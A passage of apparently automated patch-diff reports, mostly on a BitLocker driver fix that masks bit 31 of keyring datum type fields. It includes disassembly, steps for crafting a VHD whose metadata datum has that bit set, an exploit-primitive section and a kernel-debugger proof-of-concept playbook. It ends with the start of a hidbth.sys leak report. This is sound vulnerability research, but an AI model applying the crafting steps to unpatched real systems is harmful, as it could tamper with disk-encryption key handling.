&lt;span class="mh"&gt;0x1c0010f3a&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;btr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x1f&lt;/span&gt;&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;clear&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;bit&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;31&lt;/span&gt;
&lt;span class="mh"&gt;0x1c0010f3e&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;ebp&lt;/span&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;masked&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;type&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;compared&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;&lt;code&gt;FveKeyringEraseAll&lt;/code&gt; type value:&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;Patched&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;sub_1C0010CA4&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nt"&gt;no&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;corresponding&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;mask&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;unpatched&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;sub_1C000EC74&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="nt"&gt;0x1c0010cd3&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;btr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;edx&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;0x1f&lt;/span&gt;&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;clear&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;bit&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;31&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;before&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;use&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Call-site refactor inside &lt;code&gt;FveKeyringGetCachedVmkTargetType&lt;/code&gt;:&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;Unpatched&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;sub_1C0008D28&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;walked&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;datums&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;with&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;an&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;inline&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;validator&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;call&lt;/span&gt;
&lt;span class="nt"&gt;0x1c0008dbc&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;call&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;FveDatasetIsValid&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;sub_1C0003DD4&lt;/span&gt;
&lt;span class="nt"&gt;0x1c0008e05&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;call&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;FveDatumIsValidBounded&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;sub_1C0003F6C&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nt"&gt;recursive&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;datum-tree&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;validator&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;

&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;Patched&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;sub_1C0009094&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;routes&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;the&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;same&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;work&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;through&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;helpers&lt;/span&gt;
&lt;span class="nt"&gt;0x1c0009123&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;call&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;FveDatasetIsValidEx&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;sub_1C0009840&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nt"&gt;extended&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;3rd&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;param&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="nt"&gt;0x1c000915d&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;call&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;FveDatasetGetDatumPointer&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;sub_1C00097F4&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nt"&gt;wraps&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;FveDatumIsValidBounded&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;hr&gt;
&lt;h2&gt;5. Behavior of the Datum Validator Across Both Builds&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;FveDatumIsValidBounded&lt;/code&gt; is a depth-bounded (max depth 10, &lt;code&gt;arg3 &amp;lt;= 0xa&lt;/code&gt;) validator that walks a datum and its nested sub-datums. It is present in both builds — unpatched at &lt;code&gt;0x1C0003F6C&lt;/code&gt;, patched at &lt;code&gt;0x1C0003F14&lt;/code&gt; — and its body is essentially unchanged between them. In both builds it:
- validates the datum header via &lt;code&gt;FveDatumHeaderSafe (sub_1C00046A0)&lt;/code&gt;,
- looks the type up in a dispatch table (&lt;code&gt;off_1C0023AD0&lt;/code&gt; unpatched, &lt;code&gt;off_1C0025AD0&lt;/code&gt; patched),
- recursively calls itself on each sub-datum (&lt;code&gt;call FveDatumIsValidBounded&lt;/code&gt; at &lt;code&gt;0x1C0004045&lt;/code&gt; / &lt;code&gt;0x1C0003FED&lt;/code&gt;),
- advances the consumed offset by the sub-datum size (&lt;code&gt;add di, word [rsp+var_38]&lt;/code&gt; at &lt;code&gt;0x1C000404E&lt;/code&gt; / &lt;code&gt;0x1C0003FF6&lt;/code&gt;) and loops while &lt;code&gt;consumed &amp;lt; total&lt;/code&gt; (&lt;code&gt;cmp di, [rsp+arg_18]; jb&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;The one substantive difference is the type-table bound: &lt;code&gt;cmp ecx, 1Ah&lt;/code&gt; (26 types) in the unpatched build becomes &lt;code&gt;cmp ecx, 23h&lt;/code&gt; (35 types) in the patched build, matching the expanded dispatch table for the new key-protector datum types. The recursion and offset-advance loop are identical in both builds; this function is not the subject of a loop or bounds fix in this patch.&lt;/p&gt;
&lt;p&gt;The patched build additionally introduces a thin wrapper, &lt;code&gt;FveDatasetGetDatumPointer (sub_1C00097F4)&lt;/code&gt;, which computes &lt;code&gt;ptr = base + offset&lt;/code&gt; and &lt;code&gt;remaining = *(base+0xC) - offset&lt;/code&gt; and then calls &lt;code&gt;FveDatumIsValidBounded&lt;/code&gt; to validate the datum at that offset, returning the validated pointer. Several call sites that previously invoked &lt;code&gt;FveDatumIsValidBounded&lt;/code&gt; inline now go through this wrapper.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;6. Trigger Conditions&lt;/h2&gt;
&lt;p&gt;To exercise the datum type-field path:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Volume Creation:&lt;/strong&gt; Create a raw disk image, VHD, or VMDK formatted with a BitLocker signature.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Signature:&lt;/strong&gt; Ensure the metadata offset contains the &lt;code&gt;-FVE-FS-&lt;/code&gt; signature and passes size validation (&lt;code&gt;size &amp;gt;= 0x30&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Structural Consistency:&lt;/strong&gt; The metadata block fields must pass &lt;code&gt;FveDatasetIsValid (sub_1C0003DD4)&lt;/code&gt; (header size, total size, and data size arithmetically consistent).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Crafting the Datum:&lt;/strong&gt; Include a keyring datum whose 32-bit type field at offset +4 has bit 31 set (for example &lt;code&gt;0x80000000&lt;/code&gt;, or &lt;code&gt;realtype | 0x80000000&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Execution:&lt;/strong&gt; Mount the volume. In the unpatched build the flagged datum is treated as present / mismatches type matching; in the patched build the high bit is stripped before either decision.&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h2&gt;7. Exploit Primitive &amp;amp; Development Notes&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Primitive:&lt;/strong&gt; The primary consequence is a logic-level type-handling discrepancy: an empty datum with only bit 31 set is treated as present, and a datum whose type is &lt;code&gt;realtype | 0x80000000&lt;/code&gt; will not match a lookup for &lt;code&gt;realtype&lt;/code&gt;. Depending on the caller, this can cause a valid protector to be skipped or an unexpected datum to be handed to a type handler.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Mitigations:&lt;/strong&gt; This is an input-validation hardening rather than a memory-corruption primitive; standard kernel mitigations (SMEP, SMAP, CFG, HVCI, KASLR) are not directly relevant to reaching or fixing it.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Development Notes:&lt;/strong&gt; A researcher can extract a standard BitLocker metadata block, set bit 31 in a keyring datum's type field, and observe divergent presence/match behavior between the two builds at the sites listed in Section 4.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;8. Debugger PoC Playbook&lt;/h2&gt;
&lt;p&gt;Attach a kernel debugger (WinDbg/KD) to the target.&lt;/p&gt;
&lt;h3&gt;Breakpoints&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;bp fvevol!sub_1C00034BC     ; -FVE-FS- header parsing
bp fvevol+0x8DA5            ; FveKeyringGetCachedVmkTargetType datum presence test
bp fvevol+0xEEFE            ; FveKeyringGetNext raw type comparison (unpatched)
bp fvevol!sub_1C00046A0     ; FveDatumHeaderSafe (datum header validation)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;What to Inspect&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;At &lt;code&gt;FveKeyringGetCachedVmkTargetType&lt;/code&gt; presence test (unpatched &lt;code&gt;+0x8DA5&lt;/code&gt;, &lt;code&gt;cmp [rdi+4], r15d&lt;/code&gt;):&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;dword [rdi+0x4]&lt;/code&gt; = datum type field. A value of &lt;code&gt;0x80000000&lt;/code&gt; passes the raw non-zero test in the unpatched build.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;At &lt;code&gt;FveKeyringGetNext&lt;/code&gt; type comparison (unpatched &lt;code&gt;+0xEEFE&lt;/code&gt;, &lt;code&gt;cmp [r15+4], ebp&lt;/code&gt;):&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;dword [r15+0x4]&lt;/code&gt; = candidate datum type; &lt;code&gt;ebp&lt;/code&gt; = requested type. A candidate of &lt;code&gt;ebp | 0x80000000&lt;/code&gt; fails to match in the unpatched build.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;In the patched build&lt;/strong&gt;, the same fields are read into a register, &lt;code&gt;btr reg, 0x1f&lt;/code&gt; clears bit 31, and the masked value is compared instead.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Trigger Setup&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;Transfer the crafted VHD containing the &lt;code&gt;-FVE-FS-&lt;/code&gt; metadata to the target.&lt;/li&gt;
&lt;li&gt;Trigger volume mount via &lt;code&gt;diskpart&lt;/code&gt;, &lt;code&gt;mountvol&lt;/code&gt;, or &lt;code&gt;AttachVirtualDisk&lt;/code&gt; / &lt;code&gt;OpenVirtualDisk&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Observe the datum type field values at the breakpoints above.&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Expected Observation&lt;/h3&gt;
&lt;p&gt;In the unpatched build, a datum with bit 31 set in its type field passes the presence test or fails type matching. In the patched build, bit 31 is cleared before either check, so the datum is treated by its low 31 type bits only.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;9. Changed Functions — Full Triage&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;FveKeyringGetCachedVmkTargetType (sub_1C0008D28)&lt;/code&gt; -&amp;gt; patched &lt;code&gt;sub_1C0009094&lt;/code&gt;&lt;/strong&gt;: &lt;em&gt;Security.&lt;/em&gt; Datum presence test masked (&lt;code&gt;cmp [rdi+4],r15d&lt;/code&gt; -&amp;gt; &lt;code&gt;test [rdi+4],0x7fffffff&lt;/code&gt;). Datum walk refactored to call the extended validator &lt;code&gt;FveDatasetIsValidEx (sub_1C0009840)&lt;/code&gt; and the new wrapper &lt;code&gt;FveDatasetGetDatumPointer (sub_1C00097F4)&lt;/code&gt; instead of the inline &lt;code&gt;FveDatasetIsValid&lt;/code&gt; / &lt;code&gt;FveDatumIsValidBounded&lt;/code&gt; calls.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;FveKeyringGetNext (sub_1C000EE6C)&lt;/code&gt; -&amp;gt; patched &lt;code&gt;sub_1C0010EA4&lt;/code&gt;&lt;/strong&gt;: &lt;em&gt;Security.&lt;/em&gt; Added &lt;code&gt;btr eax, 0x1f&lt;/code&gt; so the datum type field is masked before the type comparison.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;FveKeyringEraseAll (sub_1C000EC74)&lt;/code&gt; -&amp;gt; patched &lt;code&gt;sub_1C0010CA4&lt;/code&gt;&lt;/strong&gt;: &lt;em&gt;Security.&lt;/em&gt; Added &lt;code&gt;btr edx, 0x1f&lt;/code&gt; to mask bit 31 of the datum type field before use.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;FveDatumIsValidBounded (sub_1C0003F6C)&lt;/code&gt; -&amp;gt; patched &lt;code&gt;sub_1C0003F14&lt;/code&gt;&lt;/strong&gt;: &lt;em&gt;Feature.&lt;/em&gt; Depth-bounded recursive datum-tree validator; body unchanged except the type-table bound raised from &lt;code&gt;0x1a&lt;/code&gt; (26) to &lt;code&gt;0x23&lt;/code&gt; (35) and the table relocated (&lt;code&gt;off_1C0023AD0&lt;/code&gt; -&amp;gt; &lt;code&gt;off_1C0025AD0&lt;/code&gt;) to cover the new key-protector datum types. No loop or bounds change.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;FveDatasetGetDatumPointer (sub_1C00097F4)&lt;/code&gt;&lt;/strong&gt;: &lt;em&gt;Refactor (new).&lt;/em&gt; Patched-only helper: computes &lt;code&gt;ptr = base + offset&lt;/code&gt;, &lt;code&gt;remaining = *(base+0xC) - offset&lt;/code&gt;, calls &lt;code&gt;FveDatumIsValidBounded&lt;/code&gt;, returns the validated pointer. Wraps existing validation; introduces no new bounds logic.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;FveDatasetIsValidEx (sub_1C0009840)&lt;/code&gt;&lt;/strong&gt;: &lt;em&gt;Refactor (new).&lt;/em&gt; Patched-only helper carrying the dataset structural-validation loop with an added third parameter (&lt;code&gt;char&lt;/code&gt;). &lt;code&gt;FveDatasetIsValid&lt;/code&gt; (relocated to &lt;code&gt;sub_1C000399C&lt;/code&gt;) is now a thin forwarder to it.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;FveDatasetIsValid (sub_1C0003DD4)&lt;/code&gt; -&amp;gt; patched &lt;code&gt;sub_1C000399C&lt;/code&gt;&lt;/strong&gt;: &lt;em&gt;Refactor.&lt;/em&gt; Structural block validator (min size &lt;code&gt;0x30&lt;/code&gt;, cross-field consistency). Body extracted into &lt;code&gt;FveDatasetIsValidEx&lt;/code&gt;; this symbol forwards to it.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;FveInformationIsValid (sub_1C00034BC)&lt;/code&gt; -&amp;gt; patched &lt;code&gt;sub_1C0003B2C&lt;/code&gt;&lt;/strong&gt;: &lt;em&gt;Behavioral.&lt;/em&gt; Parses &lt;code&gt;-FVE-FS-&lt;/code&gt;; updated to call &lt;code&gt;FveDatasetIsValidEx&lt;/code&gt; with the added parameter.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;FveDatumIsValidTypeSpecificChecks (sub_1C000475C)&lt;/code&gt; -&amp;gt; patched &lt;code&gt;sub_1C000474C&lt;/code&gt;&lt;/strong&gt;: &lt;em&gt;Feature.&lt;/em&gt; Type dispatch expanded for new key-protector datum types (&lt;code&gt;0x1c&lt;/code&gt;-&lt;code&gt;0x22&lt;/code&gt;); existing handlers (2, 7, 8, 0xf, 0x15) preserved.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;FveSha256Init (sub_1C0004BD4)&lt;/code&gt; -&amp;gt; patched &lt;code&gt;sub_1C0004C18&lt;/code&gt;&lt;/strong&gt;: &lt;em&gt;Resource-lifecycle hardening.&lt;/em&gt; The &lt;code&gt;BCryptCreateHash&lt;/code&gt; status is returned to the caller in both builds (it is the function's return value). The patch adds a per-object initialized flag: on success it sets &lt;code&gt;mov byte [rbx+8], 1&lt;/code&gt;, and on failure it skips that store (&lt;code&gt;js loc_1C0004C63&lt;/code&gt;), so deferred cleanup only runs on a successfully created hash object. Not attacker-reachable from disk metadata; requires &lt;code&gt;BCryptCreateHash&lt;/code&gt; to fail.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;FveDatumUpdateCreateFromDataset (sub_1C0007038)&lt;/code&gt; -&amp;gt; patched &lt;code&gt;sub_1C0007074&lt;/code&gt;&lt;/strong&gt;: &lt;em&gt;Refactor.&lt;/em&gt; Hash lifecycle updated to use create/finish/destroy wrappers with error checking.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;FveDatumTpmEncBlobUnbox (sub_1C0011538)&lt;/code&gt; -&amp;gt; patched &lt;code&gt;sub_1C00136C0&lt;/code&gt;&lt;/strong&gt;: &lt;em&gt;Refactor.&lt;/em&gt; TPM-unseal logic extracted into the new &lt;code&gt;FveUnsealTpmData (sub_1C000A424)&lt;/code&gt;, which itself calls &lt;code&gt;FveDatumIsValidBounded&lt;/code&gt;. The recursive validator is still used, not eliminated.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;FveUnsealTpmData (sub_1C000A424)&lt;/code&gt;&lt;/strong&gt;: &lt;em&gt;Refactor (new).&lt;/em&gt; Patched-only helper holding the extracted TPM-unseal flow; validates the datum via &lt;code&gt;FveDatumIsValidBounded&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;LogErrorDataset (sub_1C005E578)&lt;/code&gt; -&amp;gt; patched &lt;code&gt;sub_1C0062B4C&lt;/code&gt;&lt;/strong&gt;: &lt;em&gt;Behavioral.&lt;/em&gt; Simplified metadata iteration; added a 4th parameter (&lt;code&gt;char&lt;/code&gt;) controlling processing of &lt;code&gt;0x1f&lt;/code&gt;/&lt;code&gt;0x20&lt;/code&gt; datum types; ETW telemetry renumbered.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;LogKeyRingErrors (sub_1C005E988)&lt;/code&gt; -&amp;gt; patched &lt;code&gt;sub_1C0062CB4&lt;/code&gt;&lt;/strong&gt;: &lt;em&gt;Cosmetic.&lt;/em&gt; ETW telemetry renumbering and helper renames; passes the new 4th parameter (&lt;code&gt;=1&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;FveDatumPerformConcatHash (sub_1C0011780)&lt;/code&gt; -&amp;gt; patched &lt;code&gt;sub_1C0013744&lt;/code&gt;&lt;/strong&gt;: &lt;em&gt;Refactor.&lt;/em&gt; Hash lifecycle cleanup with explicit cleanup call before exit.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;HSTI/DE platform reporting (&lt;code&gt;sub_1C00A7414&lt;/code&gt;, &lt;code&gt;sub_1C00A619C&lt;/code&gt;, &lt;code&gt;sub_1C001090C&lt;/code&gt;)&lt;/strong&gt;: &lt;em&gt;Cosmetic.&lt;/em&gt; ETW telemetry renumbering and global data address shifts.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;10. Unmatched Functions&lt;/h2&gt;
&lt;p&gt;The diff tool reports 0 added / 0 removed because it pairs each new helper against the relocated original whose body it was extracted from. Concretely, the patched build introduces three helper functions that have no unpatched counterpart of the same name: &lt;code&gt;FveDatasetGetDatumPointer (sub_1C00097F4)&lt;/code&gt;, &lt;code&gt;FveDatasetIsValidEx (sub_1C0009840)&lt;/code&gt;, and &lt;code&gt;FveUnsealTpmData (sub_1C000A424)&lt;/code&gt;. The originals they were factored out of (&lt;code&gt;FveDatasetIsValid&lt;/code&gt;, &lt;code&gt;FveDatumTpmEncBlobUnbox&lt;/code&gt;) remain in the patched build, relocated.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;11. Confidence &amp;amp; Caveats&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Confidence:&lt;/strong&gt; High. The type-field masking is directly observable as new &lt;code&gt;&amp;amp; 0x7fffffff&lt;/code&gt; / &lt;code&gt;btr reg, 0x1f&lt;/code&gt; instructions at the datum type-field use sites in the patched build, absent in the unpatched build.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Scope:&lt;/strong&gt; The recursive datum validator &lt;code&gt;FveDatumIsValidBounded&lt;/code&gt; is present in both builds with an unchanged recursion/offset-advance loop; the only change to it is the enlarged type-table bound for the new key-protector datum types. This patch does not alter that loop.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Manual Verification:&lt;/strong&gt; A researcher can confirm the masking by setting bit 31 in a keyring datum's type field within a &lt;code&gt;-FVE-FS-&lt;/code&gt; metadata block and observing divergent presence/match behavior between the two builds at the sites in Section 4.&lt;/li&gt;
&lt;/ul&gt;</content><category term="Corpus"/></entry><entry><title>hidbth.sys — Request-buffer and pending-count leak on a race-gated reconnect error path (CWE-401) fixed</title><link href="https://byteray-ai.github.io/drift-corpus/item/hidbth_655f58b1-hidbth-report-20260628-235821.html" rel="alternate"/><published>2026-06-28T00:00:00-07:00</published><updated>2026-06-28T00:00:00-07:00</updated><author><name>Argus</name></author><id>tag:byteray-ai.github.io,2026-06-28:/drift-corpus/item/hidbth_655f58b1-hidbth-report-20260628-235821.html</id><summary type="html">&lt;p&gt;KB5078752&lt;/p&gt;</summary><content type="html">&lt;hr&gt;
&lt;h2&gt;1. Overview&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Item&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Unpatched binary&lt;/td&gt;
&lt;td&gt;&lt;code&gt;hidbth_unpatched.sys&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Patched binary&lt;/td&gt;
&lt;td&gt;&lt;code&gt;hidbth_patched.sys&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Overall similarity&lt;/td&gt;
&lt;td&gt;0.8933&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Matched / Changed / Identical&lt;/td&gt;
&lt;td&gt;160 / 1 / 159&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Unmatched (unpatched → patched / patched → unpatched)&lt;/td&gt;
&lt;td&gt;0 / 0&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;Verdict:&lt;/strong&gt; The patch removes a single conditional override of the return status on the error path of &lt;code&gt;HidBthSendIrp (sub_1C0005AA8)&lt;/code&gt;. When queuing a reconnect work item fails and the IRP has meanwhile been claimed by the I/O manager's cancel path, the unpatched code overrode the genuine error with &lt;code&gt;STATUS_PENDING&lt;/code&gt; and returned it. Because the caller frees its per-request allocations only on a negative return, that override caused the read-report data buffer, the associated report object, and the pending-request count to be leaked in that narrow race. The patched build propagates the real error so the caller releases them. This is a minor resource-management correctness fix; it is not a memory-corruption bug. There is no demonstrable use-after-free or double-free.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;2. Vulnerability Summary&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Severity&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Low&lt;/strong&gt;&lt;/td&gt;
